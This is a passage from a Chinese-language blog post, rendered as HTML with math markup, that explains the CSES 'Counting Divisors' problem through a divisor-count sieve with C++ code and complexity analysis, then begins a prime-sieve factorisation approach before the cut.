style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span>，查詢<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>次，設每次的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>x</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>x</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><msub><mi>x</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">x_1,x_2,\cdots,x_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，則總共的時間複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><msqrt><msub><mi>x</mi><mi>i</mi></msub></msqrt><mo stretchy="false">)</mo></mrow><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mi>n</mi><msqrt><mrow><mi>max</mi><mo>⁡</mo><msub><mi>x</mi><mi>i</mi></msub></mrow></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\sum\limits_{i=1}^{n}{\Theta(\sqrt{x_i})}=O(n\sqrt{\max{x_i}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord">Θ</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7742em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.7342em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2658em;"><span></span></span></span></span></span><span class="mclose">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2658em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7742em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mop">max</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-2.7342em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2658em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6" tabindex="-1" id="空間複雜度">空間複雜度</h3><p>只用了常數個變數，所以空間複雜度是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span></p><h1 id="%E8%A7%A3%E6%B3%95%E4%BA%8C%EF%BC%9A%E4%BE%9D%E5%BA%8F%E6%8A%8A1~n%E7%9A%84%E5%80%8D%E6%95%B8%E7%9A%84%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8%E5%8A%A0%E4%B8%80" tabindex="-1">解法二：依序把1~N的倍數的因數個數加一</h1><p>來源：<a href="https://hackmd.io/@winliu/Bkp2UPMop">CSES Problem Set — Counting Divisors 題解 - HackMD</a><br>想法：維護一個陣列，Index <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>表示<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的因數個數。依以下步驟動態更新陣列內容</p><ul><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn></mrow><annotation encoding="application/x-tex">4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li></ul><p>等等，一直到</p><ul><li>將<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span>的倍數因數個數都<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>+</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">+1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">+</span><span class="mord">1</span></span></span></span></li></ul><h2 id="ac-code-1" tabindex="-1" id="AC-Code-2">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;iostream></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> N<span class="token operator">=</span><span class="token number">1e6</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span><span class="token keyword">int</span> divisorCount<span class="token punctuation">[</span>N<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">,</span> x<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span> i<span class="token operator">&lt;</span>N<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span>i<span class="token punctuation">;</span> j <span class="token operator">&lt;</span> N<span class="token punctuation">;</span> j <span class="token operator">+=</span> i<span class="token punctuation">)</span>      divisorCount<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    cin <span class="token operator">>></span> x<span class="token punctuation">;</span>    cout <span class="token operator">&lt;&lt;</span> divisorCount<span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">&lt;&lt;</span> <span class="token char">'\n'</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="複雜度-2">複雜度</h2><h3 id="%E6%99%82%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="時間複雜度-2">時間複雜度</h3><p>填完陣列需要</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><munderover><mo>∑</mo><mrow><mi>k</mi><mo>=</mo><mn>1</mn></mrow><mi>N</mi></munderover><mfrac><mn>1</mn><mi>k</mi></mfrac><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\sum_{k=1}^{N}{\frac{1}{k}})=\Theta(N\log{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.1304em;vertical-align:-1.3021em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8283em;"><span style="top:-1.8479em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3021em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span><span class="mclose">)</span></span></span></span></span></p><p>而查詢需要<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>≤</mo><mi>N</mi></mrow><annotation encoding="application/x-tex">n\leq N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span><br>所以總複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N\log{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span><span class="mclose">)</span></span></span></span></span></p><h3 id="%E7%A9%BA%E9%96%93%E8%A4%87%E9%9B%9C%E5%BA%A6-1" tabindex="-1" id="空間複雜度-2">空間複雜度</h3><p>顯然是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">Θ</mi><mo stretchy="false">(</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\Theta(N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">Θ</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>。</p><h1 id="%E8%A7%A3%E6%B3%95%E4%B8%89%EF%BC%9A%E5%BB%BA%E8%B3%AA%E6%95%B8%E8%A1%A8%EF%BC%8C%E5%86%8D%E7%94%A8%E6%A8%99%E6%BA%96%E5%88%86%E8%A7%A3%E5%BC%8F%E6%B1%82%E5%9B%A0%E6%95%B8%E5%80%8B%E6%95%B8" tabindex="-1">解法三：建質數表，再用標準分解式求因數個數</h1><p>這個是我的解法，但很醜。我的想法是先建一個質數表，再看<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>分別被每個質數整除幾次(即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>)<br>則所求為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><munder><mo>∏</mo><mi>i</mi></munder><mo stretchy="false">(</mo><msub><mi>ν</mi><msub><mi>p</mi><mi>i</mi></msub></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\prod\limits_{i}(\nu_{p_i}(x)+1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.3277em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.05em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∏</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><blockquote><p>如果你不知道為什麼，請去問你高一數學老師</p></blockquote><h2 id="%E4%BD%9C%E6%B3%95" tabindex="-1" id="作法">作法</h2><h3 id="%E8%B3%AA%E6%95%B8%E8%A1%A8%EF%BC%9A%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1" id="質數表：埃拉托斯特尼篩法">質數表：埃拉托斯特尼篩法</h3><p>篩質數一個快速又簡單的方法就是我們國一就學過的<strong>埃拉托斯特尼篩法</strong><br>程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> MAX_X <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">int</span> prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> cnt <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> N <span class="token operator">=</span> MAX_X<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      prime<span class="token punctuation">[</span><span class="token operator">++</span>cnt<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token 